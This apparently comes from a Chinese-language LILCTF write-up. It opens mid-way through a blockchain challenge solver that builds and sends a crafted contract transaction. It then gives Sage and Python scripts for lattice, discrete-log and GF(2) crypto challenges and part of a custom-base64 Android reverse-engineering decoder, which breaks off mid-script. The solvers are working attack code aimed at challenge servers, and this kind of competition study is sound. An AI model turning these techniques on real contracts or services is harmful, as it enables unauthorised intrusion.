231    # Looking at the decompiled code: shl(0xa1, 0x35b2bcaf9b9b9a1c1b331ab3)
232    # This is a 13-byte key
233    xor_key = bytes.fromhex('6b65795f3737343836663566') #key_77486f5f的hex值
234
235    print(f"[+] XOR key: {xor_key.hex()}")
236    print(f"[+] Stored array (plaintext): {array_data.hex()}")
237
238    # The contract expects us to send the encrypted data
239    # So we need to XOR the stored plaintext with the key to get the encrypted version
240    encrypted_treasure = bytearray()
241    for i in range(len(array_data)):
242        encrypted_treasure.append(array_data[i] ^ xor_key[i % len(xor_key)])
243
244    print(f"[+] Encrypted treasure to send: {bytes(encrypted_treasure).hex()}")
245
246    # Prepare the function call
247    # Function selector for 0x5cc4d812
248    function_selector = '5cc4d812'  # Remove 0x prefix
249
250    # ABI encode the bytes parameter
251    # Format: selector + offset(32 bytes) + length(32 bytes) + data(padded to 32 bytes)
252    offset = (32).to_bytes(32, 'big')  # Offset to dynamic data
253    length = len(encrypted_treasure).to_bytes(32, 'big')  # Length of bytes
254
255    # Pad data to multiple of 32 bytes
256    padded_data = bytes(encrypted_treasure)
257    if len(padded_data) % 32 != 0:
258        padded_data += b'\x00' * (32 - len(padded_data) % 32)
259
260    # Construct call data
261    call_data = bytes.fromhex(function_selector) + offset + length + padded_data
262
263    print(f"[+] Call data: {call_data.hex()}")
264
265    # Build transaction
266    try:
267        nonce = w3.eth.get_transaction_count(solver_address)
268        gas_price = w3.eth.gas_price
269
270        transaction = {
271            'to': contract_address,
272            'from': solver_address,
273            'data': call_data,
274            'gas': 500000,
275            'gasPrice': gas_price,
276            'nonce': nonce,
277            'chainId': w3.eth.chain_id
278        }
279
280        # Sign and send transaction
281        signed_tx = w3.eth.account.sign_transaction(transaction, solver_private_key)
282
283        # Use the correct attribute name for different versions of eth-account
284        try:
285            raw_tx = signed_tx.rawTransaction
286        except AttributeError:
287            raw_tx = signed_tx.raw_transaction
288
289        tx_hash = w3.eth.send_raw_transaction(raw_tx)
290
291        print(f"[+] Transaction sent: {tx_hash.hex()}")
292
293        # Wait for transaction receipt
294        print("[*] Waiting for transaction to be mined...")
295        receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
296
297        if receipt.status == 1:
298            print("[+] Transaction successful!")
299            print(f"[+] Gas used: {receipt.gasUsed}")
300
301            # Check if isSolved() returns true
302            # Function selector for isSolved(): 0x64d98f6e
303            result = w3.eth.call({
304                'to': contract_address,
305                'data': '0x64d98f6e'
306            })
307
308            is_solved = int.from_bytes(result, 'big') == 1
309            print(f"[+] isSolved() = {is_solved}")
310
311            return is_solved
312        else:
313            print(f"[!] Transaction failed! Status: {receipt.status}")
314            print(f"[!] Gas used: {receipt.gasUsed}")
315
316            # Try to get revert reason
317            try:
318                w3.eth.call(transaction, receipt.blockNumber)
319            except Exception as revert_error:
320                print(f"[!] Revert reason: {revert_error}")
321
322            return False
323
324    except Exception as e:
325        print(f"[!] Transaction error: {e}")
326        import traceback
327        traceback.print_exc()
328        return False
329
330
331def get_flag(token):
332    """Step 3: Get flag"""
333    print("[*] Getting flag...")
334    sock = connect_nc(NC_HOST, NC_PORT)
335
336    # Receive initial message
337    initial = send_and_receive(sock, "", timeout=1)
338
339    # Send choice 3
340    response = send_and_receive(sock, "3")
341
342    # Send token
343    response = send_and_receive(sock, token, timeout=3)
344    print(response)
345
346    sock.close()
347
348    # Parse flag
349    flag_match = re.search(r'(flag\{[^}]+\})', response, re.IGNORECASE)
350    if flag_match:
351        flag = flag_match.group(1)
352        print(f"\n[+] FLAG: {flag}")
353        return flag
354    else:
355        print("[!] Flag not found in response")
356        return None
357
358
359def main():
360    """Main function to run the entire exploit"""
361    print("=" * 60)
362    print("CTF Challenge Solver")
363    print("=" * 60)
364
365    try:
366        # Step 1: Create account and get token
367        deployer_address, token = create_account()
368
369        # Try to get ETH from faucet
370        get_faucet(deployer_address, token)
371
372        # Wait for ETH to arrive (200 seconds timeout, check every 2 seconds)
373        print("\n[*] Waiting for ETH to arrive in deployer account...")
374        print("[*] You can manually send ETH or wait for faucet...")
375
376        if not wait_for_eth(deployer_address, min_balance=0.001, timeout=200):
377            print("[!] Failed to get sufficient ETH. Exiting...")
378            return
379
380        print("\n[+] ETH received! Proceeding with deployment...")
381
382        # Step 2: Deploy contract
383        contract_address, tx_hash = deploy_contract(token)
384
385        # Wait for deployment
386        time.sleep(5)
387
388        # Step 3: Solve challenge
389        solved = solve_challenge(contract_address, deployer_address, token)
390
391        if solved:
392            # Step 4: Get flag
393            flag = get_flag(token)
394            print("\n[+] Challenge completed successfully!")
395        else:
396            print("\n[!] Failed to solve challenge")
397
398    except Exception as e:
399        print(f"\n[!] Error: {e}")
400        import traceback
401        traceback.print_exc()
402
403
404if __name__ == "__main__":
405    main()

新一轮燃尽之旅,超凡脱俗了,这次的wp很长,因为除了misc我还做了其他方向的内容) lil的题目还是很不错的,感觉学到了不少,很有意思,明年再战

最后,彦门🙏永存 image-20250818024025022

Crypto

ez_math

知识点省流

ai梭哈

WP

队友做的,不过ai就能秒

Linear

知识点省流

ai梭哈

WP

简单分析一下可以确定,连上靶机后会得到很多数值,实际上是解线性代数

核心在于求解Ax=b,靶机会给我们一个16x32的矩阵和一个16维的向量,我们需要通过计算去反推一个32维的整数向量

可以将原方程变形为Ax-b=0后,构造增广矩阵M和增光向量y,使得方程为My=0

这也对应了y存在于矩阵M的零空间中,由于反推的整数向量是由范围优先的整数构成的,所以使得y在这个空间中对应的格是一个非常短的向量

用LLL算法去找到这个最短的基向量,再从中提出整数向量即可

 1import os
 2import random
 3import signal
 4
 5signal.alarm(10)
 6
 7flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")
 8
 9nrows = 16
10ncols = 32
11
12A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
13x = [random.randint(1, 114514) for _ in range(ncols)]
14
15b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
16print(A)
17print(b)
18
19xx = list(map(int, input("Enter your solution: ").strip().split()))
20if xx != x:
21    print("Oh, your linear algebra needs to be practiced.")
22else:
23    print("Bravo! Here is your flag:")
24    print(flag)

注意这里会用到sage,为了省事不用配环境,直接先用纯sage求值,再拿去给脚本提交(得益于他有10s的空档期):

sage部分

  1from sage.all import Matrix, ZZ, vector
  2
  3
  4A_list = [
  5    [986289, 1037421, 876831, 1437741, 391463, 484363, 174757, 133667, 33369, 663544, 368272, 557013, 996624, 812241,
  6     1810089, 1036354, 1824268, 713830, 1128134, 1102848, 627504, 1892174, 442125, 1833111, 1028453, 538386, 216739,
  7     1006609, 707510, 1249813, 522731, 36698],
  8    [203409, 426197, 1281098, 1144534, 675897, 1918970, 1004113, 1028254, 152856, 438475, 94912, 1681891, 1621577,
  9     1518042, 1609271, 382100, 496878, 1267972, 641440, 1306870, 278998, 1408790, 37982, 597877, 1856474, 1636130,
 10     467636, 675691, 1523323, 710740, 897592, 48877],
 11    [1380819, 1121490, 481366, 1882091, 776973, 412181, 1893086, 1689076, 1279364, 1090203, 446504, 937696, 1356736,
 12     1785698, 1133105, 972225, 1575203, 1628808, 426026, 79155, 1445489, 1250052, 385011, 1395085, 351205, 37635,
 13     1028217, 750745, 41560, 320123, 132041, 494385],
 14    [1421726, 493587, 32734, 569998, 306241, 1601165, 1697481, 1571883, 1691523, 607793, 1004767, 1873328, 1345180,
 15     1209784, 1169513, 1848614, 446834, 1166759, 545221, 636466, 814032, 1633072, 1289697, 960543, 1774293, 1452803,
 16     730007, 1516989, 1331282, 82932, 1811815, 1569724],
 17    [1913284, 156925, 1739402, 1407622, 1802633, 260179, 163974, 856138, 1273063, 1703047, 1738533, 1231103, 576536,
 18     1755015, 1630181, 1855508, 1918715, 1134086, 1317637, 576849, 1362016, 849710, 944924, 1564365, 629381, 629708,
 19     772138, 142314, 1098055, 832171, 92261, 1222165],
 20    [1618817, 421965, 1392391, 1561729, 485494, 619824, 977145, 1551189, 1795400, 1139062, 1466524, 409661, 965273,
 21     585040, 358765, 1189530, 604120, 658588, 1417013, 794961, 1420364, 1708444, 40389, 1221686, 643051, 1225636,
 22     1185726, 778346, 1195177, 1846558, 1531069, 222253],
 23    [1016259, 919507, 1344827, 1194122, 221754, 392545, 1522180, 512245, 1534393, 562810, 900937, 369936, 1181537,
 24     1828728, 1265368, 1793559, 1813844, 726597, 407245, 800557, 82744, 1194000, 1375068, 442390, 1455934, 1268947,
 25     532426, 1267920, 1723155, 735945, 1478460, 698406],
 26    [1612348, 1778328, 1151131, 1378584, 280865, 1086774, 984000, 819430, 1355050, 1445818, 1002362, 809283, 853566,
 27     6779, 1908510, 1616151, 1891947, 857417, 1306696, 1192725, 301572, 1883223, 1671075, 1668606, 1798560, 602156,
 28     1750906, 25655, 1490017, 1375289, 566125, 965745],
 29    [945795, 1533988, 1226815, 1852828, 1792995, 235559, 1095019, 398406, 1644953, 309437, 1202623, 249151, 735025,
 30     1022271, 1605616, 1322261, 1348376, 856010, 914895, 460316, 1529386, 1579741, 1520179, 1656578, 677860, 1587329,
 31     1376986, 88712, 1562922, 1196594, 542579, 938871],
 32    [938165, 756503, 1181327, 876952, 1109414, 310812, 1788066, 1127478, 1383301, 779819, 1685819, 741633, 955059,
 33     89876, 1644211, 927334, 563654, 846757, 1568679, 681586, 1370600, 1281211, 472303, 1338089, 489066, 1791037,
 34     1579375, 459867, 970155, 387258, 1666207, 252526],
 35    [1670347, 1620499, 813248, 292357, 1236744, 319559, 1238708, 1821094, 821535, 1223683, 458896, 378949, 1227848,
 36     1359572, 761771, 1848633, 1585174, 1823304, 1273961, 807635, 1374877, 514873, 567352, 83771, 315289, 996074,
 37     1777508, 1810410, 1504820, 1176888, 628406, 711034],
 38    [920625, 834976, 1329201, 1758883, 1274401, 513926, 1724767, 1098314, 1077424, 611843, 743733, 692149, 1188047,
 39     152124, 1880491, 1514463, 654241, 1370409, 1884735, 197313, 159775, 1706411, 1899881, 1510237, 1082416, 1203683,
 40     391817, 1236066, 1824223, 246962, 1384340, 288478],
 41    [1250927, 753265, 1259730, 1831186, 114382, 838089, 1383458, 1073806, 1291803, 1017817, 518072, 711461, 571913,
 42     989775, 1190410, 662455, 1487547, 1780354, 1098268, 1852925, 1867594, 174231, 231135, 1639009, 924589, 1507918,
 43     1605300, 1591151, 947924, 827984, 469903, 460327],
 44    [270631, 896737, 1284977, 1099006, 1341566, 1606736, 1697002, 57936, 1019214, 1753421, 103988, 1253453, 846179,
 45     1122321, 740064, 411333, 1450647, 1486217, 1624316, 310933, 1299783, 671139, 159159, 1832387, 1497176, 1681814,
 46     683684, 785514, 153169, 1568184, 334745, 182826],
 47    [211918, 9306, 496852, 40006, 1787878, 1715110, 1560885, 1613812, 1877979, 924353, 1018704, 679792, 83326, 1626192,
 48     1405560, 1216057, 1151537, 397417, 537968, 538506, 1169391, 1885481, 338875, 434421, 1882779, 317920, 1054176,
 49     229376, 1534987, 920639, 387936, 1305511],
 50    [1363205, 1206853, 271204, 895646, 757643, 67932, 1626487, 1287113, 190138, 1116279, 1577572, 1751529, 56272,
 51     421504, 1862400, 1645925, 546567, 1692175, 939505, 915664, 1055182, 1063613, 668269, 86659, 1798406, 507627,
 52     558143, 1691137, 1601012, 865184, 24535, 43094]]
 53b_list = [1579724526882, 1522534073530, 1804523948901, 2087834012431, 2189880099453, 2084607882676, 1895922937661,
 54          2203265067225, 2093004261502, 1874182288236, 2028844018471, 1884750643445, 2042413341121, 1876922882194,
 55          1867103071580, 1639944240118]
 56
 57
 58# ==============================================================================
 59# --- 步骤 2: 运行此脚本 (下面的代码无需修改) ---
 60
 61def solve_from_data(A_data, b_data):
 62    """根据给定的 A 和 b 数据,计算并返回解字符串。"""
 63    try:
 64        # 转换为 SageMath 对象
 65        A = Matrix(ZZ, A_data)
 66        b = vector(ZZ, b_data)
 67
 68        # 构造增广矩阵 M = [A | -b]
 69        M = A.augment(-b.column())
 70
 71        # 计算 M 的右零空间并获取其基矩阵
 72        kernel_basis = M.right_kernel().basis_matrix()
 73
 74        # 应用 LLL 算法找到最短向量
 75        lll_basis = kernel_basis.LLL()
 76        short_vector = lll_basis[0]
 77
 78        # 标准化向量,确保最后一个分量为 1
 79        if short_vector[-1] == -1:
 80            solution_y = -short_vector
 81        elif short_vector[-1] == 1:
 82            solution_y = short_vector
 83        else:
 84            # 这种情况在CTF题目中几乎不会发生
 85            return f"错误: LLL求解异常,最后一个元素为 {short_vector[-1]}"
 86
 87        # 提取解 x (除了最后一个元素之外的所有元素)
 88        x = solution_y[:-1]
 89
 90        # 格式化为服务器要求的空格分隔的字符串
 91        solution_str = ' '.join(map(str, x))
 92        return solution_str
 93
 94    except Exception as e:
 95        return f"计算过程中发生错误: {e}"
 96
 97
 98# 执行计算并打印结果
 99if __name__ == "__main__":
100    # 检查占位符数据是否已被替换
101    if A_list == [[1, 2, 3], [4, 5, 6]]:
102        print("错误:请先将从 connector.py 获取的真实数据粘贴到此脚本中!")
103    else:
104        solution = solve_from_data(A_list, b_list)
105        print("\n" + "=" * 65)
106        print("计算完成!请将下面的解复制并粘贴到 connector.py 的运行终端中:")
107        print("=" * 65 + "\n")
108        print(solution)
109        print("\n" + "=" * 65)

提交

 1from pwn import *
 2
 3HOST = 'challenge.xinshi.fun'
 4PORT = 39782
 5
 6
 7def main():
 8    try:
 9        r = remote(HOST, PORT)
10    except Exception as e:
11        log.error(f"连接失败: {e}")
12        return
13
14    # --- 1. 获取题目 ---
15    log.info("正在从服务器获取矩阵 A 和向量 b...")
16    line_A = r.recvline().strip().decode()
17    line_b = r.recvline().strip().decode()
18
19    # 为了方便复制,我们打印成 Python 代码格式
20    print("\n" + "=" * 60)
21    print("请将以下内容完整复制到 'solver.sage' 文件中,然后运行它:")
22    print("=" * 60 + "\n")
23    print(f"A_list = {line_A}")
24    print(f"b_list = {line_b}")
25    print("\n" + "=" * 60)
26
27    # --- 2. 等待用户输入计算出的解 ---
28    log.info("等待您输入从 Sage 脚本计算出的解...")
29    r.recvuntil(b'Enter your solution: ')
30
31    try:
32        solution_str = input("[+] 请在此处粘贴解并按回车: ")
33    except EOFError:
34        log.error("输入被中断。")
35        r.close()
36        return
37
38    # --- 3. 提交解并获取 Flag ---
39    log.info("正在发送解...")
40    r.sendline(solution_str.encode())
41
42    log.success("解已发送!接收服务器响应...")
43
44    # 打印最终的服务器响应
45    response = r.recvall(timeout=2).decode(errors='ignore')
46    print("\n" + "=" * 20 + " 服务器响应 " + "=" * 20)
47    print(response)
48    print("=" * 55)
49
50    r.close()
51
52
53if __name__ == "__main__":
54    main()

mid_math

知识点省流

ai梭哈

WP

简单来说,核心就在于用线代的特征值藏了一个key

矩阵C和D满足D=C^key

通过计算他们的特征值可以将问题转为线代问题,然后用离散对数解出key

最后解密即可

 1# 文件名: calculate_keys.sage
 2# 运行方式: sage calculate_keys.sage
 3from sage.all import *
 4
 5# --- 已知信息 ---
 6p = 14668080038311483271
 7C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
 8D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
 9
10# 1. 设置 SageMath 的有限域和矩阵
11P = GF(p)
12C_mat = matrix(P, C_list)
13D_mat = matrix(P, D_list)
14
15print("[SAGE] 正在计算矩阵 C 和 D 的特征值...")
16# 2. 计算特征值并过滤掉 0
17C_eigenvalues = [v for v in C_mat.eigenvalues() if v != 0]
18D_eigenvalues = [v for v in D_mat.eigenvalues() if v != 0]
19
20print(f"[SAGE] C 的非零特征值: {C_eigenvalues}")
21print(f"[SAGE] D 的非零特征值: {D_eigenvalues}")
22
23# 3. 遍历所有可能的特征值配对,求解离散对数
24potential_keys = set() # 使用集合来自动去重
25for c_eig in C_eigenvalues:
26    for d_eig in D_eigenvalues:
27        try:
28            # 求解离散对数: d_eig = c_eig ^ key
29            key_candidate = d_eig.log(c_eig)
30            potential_keys.add(int(key_candidate))
31        except (ValueError, TypeError):
32            # 如果配对不正确,log 会失败
33            continue
34
35print("\n" + "="*50)
36print("[SAGE] 数学计算完成。")
37print("[SAGE] 所有可能的候选 Key 如下:")
38print(list(potential_keys))
39print("="*50)
40print("\n请将上面的列表复制到下一个 Python 脚本中。")

exp.py

 1# 文件名: decrypt_flag.py
 2# 运行方式: python decrypt_flag.py
 3from Crypto.Cipher import AES
 4from Crypto.Util.Padding import pad, unpad
 5from Crypto.Util.number import long_to_bytes
 6
 7# --- 已知信息 ---
 8msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
 9
10# --- 粘贴从 Sage 脚本得到的候选 Key 列表 ---
11# 例如: potential_keys = [12345, 67890, ...]
12potential_keys = [6448373187654316742] # 提示:这里我已经把上一步的计算结果填好了
13
14
15# --- 开始解密 ---
16print("[PYTHON] 开始尝试使用候选 Key 进行解密...")
17found = False
18for key_int in potential_keys:
19    try:
20        print(f"\n[*] 正在尝试 Key: {key_int}")
21        
22        # 1. 准备 AES 密钥
23        aes_key = pad(long_to_bytes(key_int), 16)
24        
25        # 2. 创建解密器并解密
26        cipher = AES.new(aes_key, AES.MODE_ECB)
27        decrypted_padded = cipher.decrypt(msg)
28        
29        # 3. 反填充
30        # 原始脚本使用 pad(flag, 64),所以 unpad 时 block_size 也是 64
31        decrypted = unpad(decrypted_padded, 64)
32
33        # 4. 验证解密结果
34        if decrypted.startswith(b'LILCTF{'):
35            print("\n" + "="*50)
36            print(f"[SUCCESS] 找到正确的 Key: {key_int}")
37            print(f"[SUCCESS] 解密成功! Flag 是: {decrypted.decode()}")
38            print("="*50)
39            found = True
40            break
41        else:
42            print(f"[-] 解密内容不正确: {decrypted}")
43
44    except Exception as e:
45        # 可能是 unpad 错误,说明 key 不正确
46        print(f"[-] 解密或反填充失败: {e}")
47        continue
48
49if not found:
50    print("\n[FAIL] 遍历了所有候选 Key,但未能解密 Flag。")

Space Travel

知识点省流

ai梭哈

WP

直接利用题目给出的数据构建线性方程组去求解密钥的话需要解2^50量级的解空间

直接暴力求解是很难的,经过多次尝试后,留意到vecs表追踪共给了4096个向量,恰好是其张成的13维子空间的一半((2^13)/2),可以利用这些向量的基坐标去满足一个仿射线性方程,基于这个约束建立50个线性方程,直接构建出一个可直接求解的50x50的方程组,从而解出密钥

  1import numpy as np
  2from hashlib import md5
  3from Crypto.Cipher import AES
  4
  5# --- 请将从题目文件中获得的数据填入此处 ---
  6
  7# TODO: 在这里粘贴来自 'params.py' 的 'vecs' 列表
  8vecs_str = []
  9
 10# TODO: 在这里粘贴来自 'output.txt' 中'🎁'部分的列表
 11data = []
 12
 13# TODO: 在这里粘贴来自 'output.txt' 中'🚩'部分的加密Flag
 14# 请确保它是一个字节对象 (以 b' 开头)
 15
 16encrypted_flag = b''
 17
 18
 19
 20# --- 数据填充结束 ---
 21
 22def get_rref_and_pivots(A):
 23    """计算矩阵A在GF(2)上的简化行阶梯形(RREF)和主元列索引"""
 24    m, n = A.shape
 25    A_rref = A.copy()
 26    pivot_cols = []
 27    pivot_row = 0
 28    col_order = list(range(n))
 29
 30    for j in range(n):
 31        if pivot_row < m:
 32            i = pivot_row
 33            while i < m and A_rref[i, j] == 0:
 34                i += 1
 35            if i < m:
 36                A_rref[[pivot_row, i]] = A_rref[[i, pivot_row]]
 37                for row_idx in range(m):
 38                    if row_idx != pivot_row and A_rref[row_idx, j] == 1:
 39                        A_rref[row_idx, :] ^= A_rref[pivot_row, :]
 40                pivot_cols.append(j)
 41                pivot_row += 1
 42    
 43    for i in range(len(pivot_cols) - 1, -1, -1):
 44        pivot_col = pivot_cols[i]
 45        for row_idx in range(i):
 46            if A_rref[row_idx, pivot_col] == 1:
 47                A_rref[row_idx, :] ^= A_rref[i, :]
 48                
 49    return A_rref, pivot_cols
 50
 51
 52def solve_linear_system_gf2(A, b):
 53    """使用高斯消元法求解 Ax = b 在 GF(2) 上的一个特解"""
 54    m, n = A.shape
 55    aug = np.hstack([A.copy(), b.reshape(-1, 1)])
 56    aug_rref, pivot_cols = get_rref_and_pivots(aug)
 57    
 58    x = np.zeros(n, dtype=np.uint8)
 59    # 检查解是否存在
 60    for i in range(len(pivot_cols), m):
 61        if aug_rref[i, -1] == 1:
 62            raise ValueError("System has no solution")
 63
 64    for i, p_col in enumerate(pivot_cols):
 65        if p_col < n:
 66            x[p_col] = aug_rref[i, -1]
 67    return x
 68
 69
 70def get_null_space_basis(A):
 71    """求解矩阵A在GF(2)上的零空间基"""
 72    m, n = A.shape
 73    A_rref, pivot_cols = get_rref_and_pivots(A)
 74    free_cols = sorted(list(set(range(n)) - set(pivot_cols)))
 75    
 76    basis = []
 77    for f_col in free_cols:
 78        v = np.zeros(n, dtype=np.uint8)
 79        v[f_col] = 1
 80        for i, p_col in enumerate(pivot_cols):
 81            if A_rref[i, f_col] == 1:
 82                v[p_col] = 1
 83        basis.append(v)
 84    return np.array(basis, dtype=np.uint8).T
 85
 86
 87def solve_challenge():
 88    if not all([vecs_str, data, encrypted_flag]):
 89        print("错误:请先在脚本中填入 'vecs_str', 'data', 和 'encrypted_flag' 的值。")
 90        return
 91
 92    print("步骤 1: 分析vecs列表,找到隐藏的线性约束...")
 93    vecs_np = np.array([[int(c) for c in v] for v in vecs_str], dtype=np.uint8)
 94    
 95    # 1a. 计算vecs空间的基
 96    rref_vecs, p_cols_vecs = get_rref_and_pivots(vecs_np)
 97    rank = len(p_cols_vecs)
 98    basis_matrix = rref_vecs[:rank]
 99    print(f"  - vecs空间的秩 (Rank) = {rank}")
100    
101    # 1b. 将所有vecs向量表示为基的系数
102    # 为了求解 a @ B = v,我们解 B.T @ a.T = v.T
103    B_T = basis_matrix.T
104    coeffs = []
105    for v in vecs_np:
106        a = solve_linear_system_gf2(B_T, v)
107        coeffs.append(a)
108    coeffs_matrix = np.array(coeffs, dtype=np.uint8)
109
110    # 1c. 找到系数矩阵的仿射约束 w, b
111    # 寻找一个向量 (w, b) 使得 [coeffs_matrix | 1] @ (w, b).T = 0
112    aug_coeffs = np.hstack([coeffs_matrix, np.ones((len(coeffs_matrix), 1), dtype=np.uint8)])
113    affine_constraint = get_null_space_basis(aug_coeffs)[:, 0]
114    w = affine_constraint[:-1]
115    b = affine_constraint[-1]
116    print("  - 成功找到隐藏的线性约束方程!")
117
118    print("步骤 2: 构建主线性方程组...")
119    num_unknowns = 50 * rank
120    A_new = np.zeros((len(data), num_unknowns), dtype=np.uint8)
121    p = np.array([item[1] for item in data], dtype=np.uint8)
122
123    for i, (nonce, _) in enumerate(data):
124        nonce_bits = format(nonce, f'0{50*16}b')
125        row = []
126        for j in range(50):
127            n_j = np.array([int(b) for b in nonce_bits[j*16:(j+1)*16]], dtype=np.uint8)
128            row.extend((basis_matrix @ n_j) % 2)
129        A_new[i] = np.array(row, dtype=np.uint8)
130
131    print("步骤 3: 求解主方程组的特解和零空间...")
132    M_p_flat, N_basis = get_null_space_basis(A_new), get_null_space_basis(np.hstack([A_new, p.reshape(-1,1)]))
133    M_p_flat = N_basis[:num_unknowns, -1]
134    N_basis = N_basis[:num_unknowns, :-1]
135
136    d_null = N_basis.shape[1]
137    print(f"  - 特解已找到,零空间维度为 {d_null}")
138
139    print("步骤 4: 利用隐藏约束构建新方程组,直接求解零空间系数...")
140    M_p = M_p_flat.reshape(50, rank)
141    Ac = np.zeros((50, d_null), dtype=np.uint8)
142    bc = np.zeros(50, dtype=np.uint8)
143
144    for j in range(50):
145        # (M_p_j + sum(c_i * N_ij)) @ w + b = 0
146        # sum(c_i * (N_ij @ w)) = M_p_j @ w + b
147        for i in range(d_null):
148            N_ij = N_basis[:, i].reshape(50, rank)[j]
149            Ac[j, i] = (N_ij @ w) % 2
150        bc[j] = ((M_p[j] @ w) % 2 + b) % 2
151
152    print("  - 新方程组构建完毕,求解...")
153    c = solve_linear_system_gf2(Ac, bc)
154    print("  - 成功求解出唯一的零空间系数!")
155
156    print("步骤 5: 重构最终密钥...")
157    M_correct_flat = (M_p_flat + N_basis @ c) % 2
158    coefficients = M_correct_flat.reshape(50, rank)
159    key_blocks = (coefficients @ basis_matrix) % 2
160    key_str = "".join("".join(map(str, row)) for row in key_blocks)
161    key = int(key_str, 2)
162    print("  - 密钥重构成功。")
163
164    print("步骤 6: 解密Flag...")
165    aes_key = md5(str(key).encode()).digest()
166    cipher = AES.new(key=aes_key, nonce=b"Tiffany", mode=AES.MODE_CTR)
167    flag = cipher.decrypt(encrypted_flag)
168    
169    print("\n" + "="*40)
170    try:
171        print(f"🚩 Flag: {flag.decode()}")
172    except UnicodeDecodeError:
173        print(f"🚩 Flag (原始字节): {flag}")
174    print("="*40)
175
176if __name__ == '__main__':
177    solve_challenge()

126e15f5-d700-4a3a-855f-3eceff99e0bb

Re

ARM ASM

知识点省流

简单的安卓逆向

WP

先用ida分析一下apk里面的so,找到mainactivity,看不懂就丢给ai分析,大致可以确定是一个对输入字符串的加解密编码的过程,同时里面引入了一个t的值

5de07ace-f1e0-4014-bb4f-e14114c00857

可以看到里面用到了一个base64的编码函数,找到t对应的位置,还能看到base64的索引表,这里被魔改了

9fd551be-d941-432a-90e0-7eb80b1d5cb6

所以提出t的值和base64索引表后,我们就可以写解密脚本了,但现在我们还需要密文

这里需要用到jadx去打开apk,老样子还是找mainactivity,就能看到下面加密字符串

0a0859fd-f92d-4d2e-92cf-3ff91487113a

最后搓脚本就好

  1# --- 自定义字符表 ---
  2CUSTOM_BASE64_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
  3
  4# --- 常量和初始数据 ---
  5
  6# t表保持不变
  7t_table = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]
  8
  9# 加密的字符串
 10encrypted_str = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
 11
 12
 13# --- 辅助函数 ---
 14
 15def custom_b64decode(encoded_string):
 16    """
 17    使用自定义的Base64字符表解码字符串。
 18    """
 19    # 创建从字符到索引值的反向映射
 20    decode_map = {char: i for i, char in enumerate(CUSTOM_BASE64_ALPHABET)}
 21
 22    # 移除任何可能的填充符(尽管在这个例子中没有)
 23    encoded_string = encoded_string.rstrip('=')
 24
 25    # 将编码字符串转换为6位的整数值列表
 26    sextets = [decode_map[char] for char in encoded_string]
 27
 28    decoded_bytes = bytearray()
 29    # 以4个值为一组进行处理 (4 * 6位 = 24位 = 3字节)
 30    for i in range(0, len(sextets), 4):
 31        chunk = sextets[i:i + 4]
 32
 33        # 将4个6位值合并成一个24位整数
 34        val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
 35
 36        # 将24位整数拆分为3个8位字节
 37        byte1 = (val >> 16) & 0xFF
 38        byte2 = (val >> 8) & 0xFF
 39        byte3 = val & 0xFF
 40
 41        decoded_bytes.extend([byte1, byte2, byte3])
 42
 43    # 根据填充情况处理末尾
 44    if encoded_string.endswith('=='):
 45        return decoded_bytes[:-2]
 46    elif encoded_string.endswith('='):
 47        return decoded_bytes[:-1]
 48
 49    return decoded_bytes
 50
 51
 52def rol(byte, shift):
 53    """
 54    对一个字节执行左循环移位 (ROL)。
 55    """
 56    return ((byte << shift) | (byte >> (8 - shift))) & 0xFF
 57
 58
 59def get_table_for_iteration(i):
 60    """
 61    计算在加密循环的第 'i' 次迭代时使用的v10表。
 62    表在每次迭代中被使用后才会更新。
 63    """
 64    current_table = list(t_table)
 65    # i=0时, 使用原始的t表。
 66    # i=1时, 使用原始的t表。
 67    # i=2时, 使用 t表 XOR [1,1,1,...] 后的表。
 68    if i == 2:
 69        for j in range(16):
 70            current_table[j] ^= 1
 71    return current_table
 72
 73
 74def unshuffle(data_chunk, table):
 75    """
 76    逆转查询表操作 (vqtbl1q_s8)。
 77    加密: shuffled[j] = plain[table[j]]
 78    解密: plain[table[j]] = shuffled[j]
 79    """
 80    if len(data_chunk) != 16 or len(table) != 16:
 81        raise ValueError("数据和表都必须是16字节。")
 82
 83    plain_chunk = [0] * 16
 84    for i in range(16):
 85        # 目标索引是 table[i]
 86        # 要放置的值是 data_chunk[i]
 87        plain_chunk[table[i]] = data_chunk[i]
 88
 89    return plain_chunk
 90
 91
 92# --- 解密流程 ---
 93
 94# 1. 使用自定义的字符表进行Base64解码
 95try:
 96    decoded_data = custom_b64decode(encrypted_str)
 97    print(f"[+] 使用自定义字符表解码后的数据 (长度={len(decoded_data)}): {decoded_data.hex()}")
 98except Exception as e:
 99    print(f"[-] 自定义Base64解码失败: {e}")
100    exit()
101
102if len(decoded_data) != 48:
103    print(f"[-] 错误: 解码后的数据长度不是48字节, 而是 {len(decoded_data)}。")
104    exit()
105
